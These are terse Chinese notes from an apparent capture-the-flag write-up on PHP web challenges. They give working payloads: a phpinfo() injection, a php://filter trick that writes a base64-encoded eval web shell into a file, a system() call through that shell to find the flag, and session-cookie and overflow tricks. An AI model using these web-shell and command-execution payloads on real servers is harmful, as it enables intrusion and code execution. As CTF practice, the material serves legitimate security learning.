不泄露wp每晚9点更新
热身?f=phpinfo();
在里面找到secret文件，里面有flag
web1?content=php://filter/PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B/../3.php
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B -----> PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ ----->
1=system("find / -name fl*");
在/flag.txt
web2
Post session_id=session_id cookie PHPSESSID=HappyNewYearweb3
?1=error_reportingweb4
?1=spl_autoload_extensionsweb5
很多个hu使其溢出
我用hackbar不行
看群主用burp suite
有点气呜呜呜
